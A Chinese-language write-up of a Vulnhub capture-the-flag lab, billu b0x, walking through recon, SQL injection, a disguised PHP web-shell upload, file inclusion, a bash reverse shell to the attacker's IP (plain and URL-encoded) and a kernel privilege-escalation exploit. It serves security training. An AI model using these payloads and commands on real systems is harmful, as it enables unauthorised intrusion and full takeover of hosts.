billu b0x 靶场渗透提权(超详细)

Vulnhub靶机billu b0x的渗透实战记录,每一步都有详细的思路和操作过程
靶机简介
官方下载地址:https://www.vulnhub.com/entry/billu-b0x,188/

目标是获得靶机root权限。话不多说,直接开始:
进行靶机发现与服务发现
-
靶机发现
使用
arp-scan -l命令,扫描出局域网上活动主机信息,发现10.0.2.8疑似靶机ip
-
端口扫描
对10.0.2.8进行端口扫描,使用
nmap命令nmap -p- --min-rate=1000 10.0.2.8
靶机开启了22端口和80端口
-
进一步扫描获取服务细节
nmap -p 22,80 -sV -sC 10.0.2.8
web服务是常见的渗透入口,所以从浏览器访问靶机80端口
web渗透
靶机web服务如下

尝试简单的SQL注入,失败。尝试其他方法

路径暴力破解
使用dirsearch工具对靶机web服务进行路径暴力破解
dirsearch -u http://10.0.2.8


找到其中所有状态码为200和302的结果:
[20:16:31] 200 - 307B - /add.php
[20:16:31] 200 - 307B - /add
[20:16:41] 200 - 1B - /c
[20:16:50] 200 - 3KB - /head.php
[20:16:51] 200 - 1KB - /images/
[20:16:51] 200 - 47KB - /in
[20:16:51] 200 - 3KB - /index
[20:16:51] 200 - 3KB - /index.php
[20:16:58] 302 - 2KB - /panel -> index.php
[20:16:58] 302 - 2KB - /panel.php -> index.php
[20:17:00] 200 - 8KB - /phpmy/
[20:17:05] 200 - 1B - /show
[20:17:08] 200 - 72B - /test
[20:17:08] 200 - 72B - /test.php
寻找可以利用的东西
访问add.php, head.php, index.php, panel.php, test.php后发现,add页面是上传照片,head是登录界面图片,index是登录页面,panel暂时无法访问(可能是登陆后才能访问的页面),test似乎是执行与文件相关的命令

目前test看起来最有用
利用test.php发现漏洞
尝试给url加上参数看能否访问或执行文件。能访问则是文件下载漏洞,能执行则是文件包含漏洞,后者更好利用。我们试试index.php,因为它与登录有关。
给url直接加参数(使用get请求),没有任何结果

尝试改为post请求
使用BurpSuite拦截请求,在Repeater中修改为post请求并发送

发现成功获得了文件内容。说明有文件下载漏洞,同时也排除了文件包含漏洞。
通过改漏洞查看各php文件内容(此处不需要仔细看,后文提及时再回来看)
-
add.php
<?php echo '<form method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name=image> <input type=text name=name value="name"> <input type=text name=address value="address"> <input type=text name=id value=1337 > <input type="submit" value="upload" name="upload"> </form>'; ?> -
index.php
<?php session_start(); include('c.php'); include('head.php'); if(@$_SESSION['logged']!=true) { $_SESSION['logged']=''; } if($_SESSION['logged']==true && $_SESSION['admin']!='') { echo "you are logged in :)"; header('Location: panel.php', true, 302); } else { echo '<div align=center style="margin:30px 0px 0px 0px;"> <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br> Show me your SQLI skills <br> <form method=post> Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br> <input type=submit name=login value="let\'s login">'; } if(isset($_POST['login'])) { $uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; $result = mysqli_query($conn, $run); if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); echo "You are allowed<br>"; $_SESSION['logged']=true; $_SESSION['admin']=$row['username']; header('Location: panel.php', true, 302); } else { echo "<script>alert('Try again');</script>"; } } echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> "; ?> -
head.php
<?php session_start(); include('c.php'); include('head.php'); if(@$_SESSION['logged']!=true) { $_SESSION['logged']=''; } if($_SESSION['logged']==true && $_SESSION['admin']!='') { echo "you are logged in :)"; header('Location: panel.php', true, 302); } else { echo '<div align=center style="margin:30px 0px 0px 0px;"> <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br> Show me your SQLI skills <br> <form method=post> Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br> <input type=submit name=login value="let\'s login">'; } if(isset($_POST['login'])) { $uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; $result = mysqli_query($conn, $run); if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); echo "You are allowed<br>"; $_SESSION['logged']=true; $_SESSION['admin']=$row['username']; header('Location: panel.php', true, 302); } else { echo "<script>alert('Try again');</script>"; } } echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> "; ?> -
panel.php
<?php session_start(); include('c.php'); include('head2.php'); if(@$_SESSION['logged']!=true ) { header('Location: index.php', true, 302); exit(); } echo "Welcome to billu b0x "; echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>'; if(isset($_POST['lg'])) { unset($_SESSION['logged']); unset($_SESSION['admin']); header('Location: index.php', true, 302); } echo '<hr><br>'; echo '<form method=post> <select name=load> <option value="show">Show Users</option> <option value="add">Add User</option> </select>  <input type=submit name=continue value="continue"></form><br><br>'; if(isset($_POST['continue'])) { $dir=getcwd(); $choice=str_replace('./','',$_POST['load']); if($choice==='add') { include($dir.'/'.$choice.'.php'); die(); } if($choice==='show') { include($dir.'/'.$choice.'.php'); die(); } else { include($dir.'/'.$_POST['load']); } } if(isset($_POST['upload'])) { $name=mysqli_real_escape_string($conn,$_POST['name']); $address=mysqli_real_escape_string($conn,$_POST['address']); $id=mysqli_real_escape_string($conn,$_POST['id']); if(!empty($_FILES['image']['name'])) { $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']); $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION); $image=array('jpeg','jpg','gif','png'); if(in_array($r,$image)) { $finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']); if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )) { if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])) { echo "Uploaded successfully "; $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update); } } else { echo "<br>i told you dear, only png,jpg and gif file are allowed"; } } else { echo "<br>only png,jpg and gif file are allowed"; } } } ?> -
test.php
<?php function file_download($download) { if(file_exists($download)) { header("Content-Description: File Transfer"); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Accept-Ranges: bytes'); header('Content-Disposition: attachment; filename="'.basename($download).'"'); header('Content-Length: ' . filesize($download)); header('Content-Type: application/octet-stream'); ob_clean(); flush(); readfile ($download); } else { echo "file not found"; } } if(isset($_POST['file'])) { file_download($_POST['file']); } else{ echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter '; }
观察index.php,在登录逻辑中发现如下代码:
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
与登录有关,解析其中的SQL语句,换成标准格式:
select * from auth where pass='$passwd' and uname='$username'
发现可以使用\将单引号转义,从而实现SQL注入
登录界面输入:
username: or 1=1 #
password: \
注入成功

寻找漏洞
发现并利用文件上传漏洞
登录后发现有一个上传文件的接口(同时也是/add.php的功能,之前路径暴力破解时找到的):

尝试进行一句话木马文件的上传,即在上传的文件中添加<?php system($_GET["cmd"]);?>内容,看能否执行。
上传一句话木马文件
建立getin.php文件,内容为<?php system($_GET["cmd"]);?>, 尝试直接上传,失败。只允许png, jpg, gif文件

有三种检测可能性:
-
检测文件后缀
-
检测请求中的Content-Type
-
对文件内容检测,需要对内容伪造
我们使用burpsuite拦截请求,依次尝试
-
将请求中filename后缀修改为png,再次上传。失败
-
将Content-Type修改为:image/png,上传,失败

-
对内容进行伪造,在文件内容开头加上一个图形格式的标记
GIF89a;,再次上传,成功!
测试是否可以执行命令
上传成功后,点击Show Users,查看html内容,发现上传的文件在uploaded_images/下。
拦截Show Users请求

根据请求体以及panel.php的如下内容:
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
可以看出load后的参数是其他的内容,则会直接引用该文件,这为我们执行木马文件提供了机会。
通过burp构建请求:POST /panel.php?cmd=ls HTTP/1.1
请求参数为:load=uploaded_images/getin.png&continue=continue
发送请求,发现成功执行命令

建立反弹shell
将命令修改为echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash,在本机用nc -nvlp 3333监听3333端口。发送请求
但是发现并未成功建立反弹shell。可以想到是因为请求url里有空格导致命令没有被正确传递
考虑使用url16进制编码解决空格的问题。加密后是没有空格的,并且后端会自动解码。先用几个简单的命令进行测试,发现可行。于是对上述命令进行编码,得到结果:
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68
用该内容替换命令,然后再次发送请求

发现成功建立反弹shell

这里遇到一个问题,编码
echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash后发送请求可以成功建立反弹shell。但如果编码bash -i >& /dev/tcp/10.0.2.15/3333 0>&1命令,就无法建立反弹shell。目前还未搞懂是为什么。
命令及其编码如下
echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash %65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68 bash -i >& /dev/tcp/10.0.2.15/3333 0>&1 %62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31
提权
uname -a 命令查看Linux版本

在kali上使用searchsploit查找漏洞(与exploit-db网站上是一样的)
searchsploit Kernel 3.13.0
得到众多结果

从中找到可能有用的,进行尝试。下面这个最可能有用
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escala | linux/local/37292.c
用searchsploit -m 37292 命令将该文件拷贝到当前目录
kali用python开启web服务

用反弹shell在靶机上进入/tmp目录(该目录下所有用户都有写权限,避免权限不足),下载该文件,在靶机上编译并运行(需要靶机上有gcc,刚好该靶机上有)


成功获得root权限!
补充1:建立反弹shell的另一种方式
还有一种方式是使用直接建立反弹shell的php文件
使用Kali Linux的/usr/share/webshells/php/php-reverse-shell.php文件,修改文件中的目标ip为kali的ip,重复文件上传方法(这里将文件名修改为了in.png),上传到靶机上
在kali上监听1234端口 nc -nvlp 1234
拦截Show Users请求,将load行修改为:
load=uploaded_images/in.png&continue=continue
发送请求后,成功建立反弹shell

补充2:美化reverse shell
如果靶机上有python,可以在建立反弹shell后输入python -c "import pty; pty.spawn('/bin/bash')"命令,美化shell。如果有命令终端回显,可以使用stty raw -echo进制回显。
美化前:

美化后:
